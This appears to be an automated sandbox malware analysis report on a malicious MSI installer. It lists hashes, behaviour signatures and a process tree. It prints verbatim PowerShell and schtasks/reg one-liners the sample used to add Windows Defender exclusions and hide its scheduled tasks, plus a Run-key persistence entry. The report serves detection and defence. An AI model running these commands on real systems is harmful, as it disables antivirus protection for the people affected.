Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/08/2026, 05:10
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_s0up008.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_s0up008.msi
Resource
win11ltsc2024-20260710-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target install_s0up008.msi
- Size 9.8MB
- Sample260802-ftx4cade52
- SHA256 3ccf32890cc7f0139abad2de6bd34411933f3bbe620b463b8fff611a8d3a9538
- MD5 dcff8a7df68ab936eb42de5326e1025d
- SHA1 b4e2a54072f15d7e6c4385a2bcb3b6b6e23f9620
- SHA512 4a987535936f5966e58d64bc1a15a81eb4fd8491b28e776e9647c47593edeaf508e516826e8cef83bc3b6efe3f66178d6a6484398e60fbaca85c0b6df1050c23
- SSDEEP 196608:V4bdxnkXj2DHPy1eMSaAvUD0/9MdghVvl5Ki0iyv4/tE3tKUtmthew2YEtCJ:VOdxnkTs61IAE9Md4vq1iyv4/23tXtyX
- TLSH T1C1A633C27AC823B0D257C3B08106647D7C6A7F11F9A78D1EB69E36005E72A352B7639D
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\RyxCbq = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3324 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5540 HKULLk.exe - Loads dropped DLL 2 IoCs
pid Process 3328 MsiExec.exe 5540 HKULLk.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\RyxCbq\\HKULLk.exe\"" HKULLk.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 12 3328 MsiExec.exe 13 3328 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4124 cmd.exe 1108 cmd.exe 1032 cmd.exe 1756 cmd.exe 2440 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b HKULLk.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files (x86)\zl8OlL\VLaMLH.exe HKULLk.exe File opened for modification C:\Program Files (x86)\zl8OlL HKULLk.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe File created C:\Windows\SystemTemp\~DF6208069E7E91CE01.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIE229.tmp msiexec.exe File created C:\Windows\Installer\e59dc8d.msi msiexec.exe File created C:\Windows\SystemTemp\~DFCF517A759EDCCDB7.TMP msiexec.exe File opened for modification C:\Windows\Installer\e59dc8b.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DF7E5B791D23F7C867.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIE324.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF64580CF4B10BF7D6.TMP msiexec.exe File created C:\Windows\Installer\e59dc8b.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2420 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6064 cmd.exe 2644 cmd.exe 5808 cmd.exe 5812 cmd.exe 4256 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000000f2192634d2a4d980000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838010f2192630000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841010f219263000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e30f21926300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e60f21926300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "66AF93900E9A1BA439B9694D01EC9DBA" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0up008.msi" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5916 schtasks.exe 1588 schtasks.exe 3388 schtasks.exe 5008 schtasks.exe 5444 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5900 msiexec.exe 5900 msiexec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 3328 MsiExec.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe 5540 HKULLk.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 824 Process not Found 824 Process not Found 824 Process not Found 824 Process not Found 824 Process not Found 824 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2420 msiexec.exe Token: SeIncreaseQuotaPrivilege 2420 msiexec.exe Token: SeSecurityPrivilege 5900 msiexec.exe Token: SeCreateTokenPrivilege 2420 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2420 msiexec.exe Token: SeLockMemoryPrivilege 2420 msiexec.exe Token: SeIncreaseQuotaPrivilege 2420 msiexec.exe Token: SeMachineAccountPrivilege 2420 msiexec.exe Token: SeTcbPrivilege 2420 msiexec.exe Token: SeSecurityPrivilege 2420 msiexec.exe Token: SeTakeOwnershipPrivilege 2420 msiexec.exe Token: SeLoadDriverPrivilege 2420 msiexec.exe Token: SeSystemProfilePrivilege 2420 msiexec.exe Token: SeSystemtimePrivilege 2420 msiexec.exe Token: SeProfSingleProcessPrivilege 2420 msiexec.exe Token: SeIncBasePriorityPrivilege 2420 msiexec.exe Token: SeCreatePagefilePrivilege 2420 msiexec.exe Token: SeCreatePermanentPrivilege 2420 msiexec.exe Token: SeBackupPrivilege 2420 msiexec.exe Token: SeRestorePrivilege 2420 msiexec.exe Token: SeShutdownPrivilege 2420 msiexec.exe Token: SeDebugPrivilege 2420 msiexec.exe Token: SeAuditPrivilege 2420 msiexec.exe Token: SeSystemEnvironmentPrivilege 2420 msiexec.exe Token: SeChangeNotifyPrivilege 2420 msiexec.exe Token: SeRemoteShutdownPrivilege 2420 msiexec.exe Token: SeUndockPrivilege 2420 msiexec.exe Token: SeSyncAgentPrivilege 2420 msiexec.exe Token: SeEnableDelegationPrivilege 2420 msiexec.exe Token: SeManageVolumePrivilege 2420 msiexec.exe Token: SeImpersonatePrivilege 2420 msiexec.exe Token: SeCreateGlobalPrivilege 2420 msiexec.exe Token: SeBackupPrivilege 428 vssvc.exe Token: SeRestorePrivilege 428 vssvc.exe Token: SeAuditPrivilege 428 vssvc.exe Token: SeBackupPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeBackupPrivilege 5560 srtasks.exe Token: SeRestorePrivilege 5560 srtasks.exe Token: SeSecurityPrivilege 5560 srtasks.exe Token: SeTakeOwnershipPrivilege 5560 srtasks.exe Token: SeBackupPrivilege 5560 srtasks.exe Token: SeRestorePrivilege 5560 srtasks.exe Token: SeSecurityPrivilege 5560 srtasks.exe Token: SeTakeOwnershipPrivilege 5560 srtasks.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe Token: SeTakeOwnershipPrivilege 5900 msiexec.exe Token: SeRestorePrivilege 5900 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2420 msiexec.exe 2420 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2420 msiexec.exe 5900 msiexec.exe 3328 MsiExec.exe - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 5900 wrote to memory of 5560 5900 msiexec.exe 93 PID 5900 wrote to memory of 3328 5900 msiexec.exe 95 PID 5540 wrote to memory of 3324 5540 HKULLk.exe 98 PID 5540 wrote to memory of 2440 5540 HKULLk.exe 100 PID 2440 wrote to memory of 5008 2440 cmd.exe 102 PID 2440 wrote to memory of 484 2440 cmd.exe 103 PID 2440 wrote to memory of 3164 2440 cmd.exe 107 PID 5540 wrote to memory of 4124 5540 HKULLk.exe 108 PID 4124 wrote to memory of 5444 4124 cmd.exe 111 PID 4124 wrote to memory of 2964 4124 cmd.exe 112 PID 4124 wrote to memory of 4908 4124 cmd.exe 114 PID 5540 wrote to memory of 1108 5540 HKULLk.exe 115 PID 1108 wrote to memory of 5916 1108 cmd.exe 117 PID 1108 wrote to memory of 4984 1108 cmd.exe 119 PID 1108 wrote to memory of 3000 1108 cmd.exe 121 PID 5540 wrote to memory of 1032 5540 HKULLk.exe 124 PID 1032 wrote to memory of 1588 1032 cmd.exe 126 PID 1032 wrote to memory of 5564 1032 cmd.exe 127 PID 1032 wrote to memory of 1608 1032 cmd.exe 129 PID 5540 wrote to memory of 1756 5540 HKULLk.exe 131 PID 1756 wrote to memory of 3388 1756 cmd.exe 134 PID 5812 wrote to memory of 716 5812 cmd.exe 133 PID 1756 wrote to memory of 440 1756 cmd.exe 135 PID 1756 wrote to memory of 1236 1756 cmd.exe 137 PID 6064 wrote to memory of 6036 6064 cmd.exe 138 PID 2644 wrote to memory of 5432 2644 cmd.exe 140 PID 5808 wrote to memory of 2996 5808 cmd.exe 141 PID 4256 wrote to memory of 4548 4256 cmd.exe 143 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up008.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2420
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5900 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:5560
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 79D83122846D851292F213736191FB2B E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3328
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:428
-
C:\Users\Public\RyxCbq\HKULLk.exe"C:\Users\Public\RyxCbq\HKULLk.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:3324
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RyxCbq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RyxCbq\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5008
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:484
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3164
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5444
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2964
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5916
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4984
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1588
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5564
-
-
